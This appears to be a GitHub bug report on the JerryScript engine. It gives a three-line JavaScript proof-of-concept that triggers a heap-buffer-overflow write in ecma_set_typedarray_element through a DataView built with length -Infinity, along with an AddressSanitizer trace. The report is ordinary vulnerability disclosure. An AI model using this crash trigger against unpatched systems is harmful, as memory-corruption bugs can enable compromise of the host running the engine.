Skip to content

heap-buffer-overflow in ecma_set_typedarray_element #3072

Closed
@mka-sec

Description

@mka-sec
Revision

57f389d

Build

./tools/build.py --clean --debug --compile-flag=-fsanitize=address
--compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer
--compile-flag=-fno-common --compile-flag=-g
--strip=off --system-allocator=on --logging=on
--error-messages=on --profile=es2015-subset

OS

Linux 4.15.0-58-generic #64-Ubuntu x86_64 GNU/Linux

Test case
var arrb = new ArrayBuffer(13);
var d = new DataView(arrb, 12, -Infinity);
d.setFloat32(1, 1);
Backtrace

Run with jerry poc.js

=================================================================
==48937==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5100f75 at pc 0x56651652 bp 0xff92a1f8 sp 0xff92a1e8
WRITE of size 4 at 0xf5100f75 thread T0
    #0 0x56651651 in ecma_set_typedarray_element /jerryscript/jerry-core/ecma/operations/ecma-typedarray-object.c:140
    #1 0x566244e9 in ecma_op_dataview_get_set_view_value /jerryscript/jerry-core/ecma/operations/ecma-dataview-object.c:316
    #2 0x565c3f4f in ecma_builtin_dataview_prototype_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-dataview-prototype.c:188
    #3 0x56605be1 in ecma_builtin_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1025
    #4 0x56605e42 in ecma_builtin_dispatch_call /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1050
    #5 0x56627b53 in ecma_op_function_call /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:729
    #6 0x566acbdf in opfunc_call /jerryscript/jerry-core/vm/vm.c:581
    #7 0x566c1d83 in vm_execute /jerryscript/jerry-core/vm/vm.c:3622
    #8 0x566c2632 in vm_run /jerryscript/jerry-core/vm/vm.c:3742
    #9 0x566aba45 in vm_run_global /jerryscript/jerry-core/vm/vm.c:282
    #10 0x56576a9b in jerry_run /jerryscript/jerry-core/api/jerry.c:570
    #11 0x565733ee in main /jerryscript/jerry-main/main-unix.c:743
    #12 0xf779ee80 in __libc_start_main (/lib32/libc.so.6+0x18e80)
    #13 0x56570cc0  (/home/xyz/jerryscript/tmpmaster/jerry+0x15cc0)

0xf5100f75 is located 0 bytes to the right of 37-byte region [0xf5100f50,0xf5100f75)
allocated by thread T0 here:
    #0 0xf7a44f34 in malloc (/usr/lib32/libasan.so.4+0xe5f34)
    #1 0x56656b51 in jmem_heap_alloc /jerryscript/jerry-core/jmem/jmem-heap.c:258
    #2 0x56656bc9 in jmem_heap_gc_and_alloc_block /jerryscript/jerry-core/jmem/jmem-heap.c:293
    #3 0x565a5342 in jmem_heap_alloc_block /jerryscript/jerry-core/jmem/jmem-heap.c:327
    #4 0x565a5342 in ecma_alloc_extended_object /jerryscript/jerry-core/ecma/base/ecma-alloc.c:109
    #5 0x565a5342 in ecma_create_object /jerryscript/jerry-core/ecma/base/ecma-helpers.c:81
    #6 0x566169b8 in ecma_arraybuffer_new_object /jerryscript/jerry-core/ecma/operations/ecma-arraybuffer-object.c:49
    #7 0x56616f18 in ecma_op_create_arraybuffer_object /jerryscript/jerry-core/ecma/operations/ecma-arraybuffer-object.c:149
    #8 0x565c3532 in ecma_builtin_arraybuffer_dispatch_construct /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-arraybuffer.c:94
    #9 0x566060d6 in ecma_builtin_dispatch_construct /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1084
    #10 0x56629152 in ecma_op_function_construct /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1077
    #11 0x566ad1fe in opfunc_construct /jerryscript/jerry-core/vm/vm.c:665
    #12 0x566c1da9 in vm_execute /jerryscript/jerry-core/vm/vm.c:3634
    #13 0x566c2632 in vm_run /jerryscript/jerry-core/vm/vm.c:3742
    #14 0x566aba45 in vm_run_global /jerryscript/jerry-core/vm/vm.c:282
    #15 0x56576a9b in jerry_run /jerryscript/jerry-core/api/jerry.c:570
    #16 0x565733ee in main /jerryscript/jerry-main/main-unix.c:743
    #17 0xf779ee80 in __libc_start_main (/lib32/libc.so.6+0x18e80)

SUMMARY: AddressSanitizer: heap-buffer-overflow /jerryscript/jerry-core/ecma/operations/ecma-typedarray-object.c:140 in ecma_set_typedarray_element
Shadow bytes around the buggy address:
  0x3ea20190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea201a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea201b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea201c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea201d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ea201e0: fa fa fa fa fa fa fa fa fa fa 00 00 00 00[05]fa
  0x3ea201f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20220: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20230: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==48937==ABORTING

Metadata

Metadata

Assignees

No one assigned

    Labels

    ES2015Related to ES2015 featuresbugUndesired behaviour

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions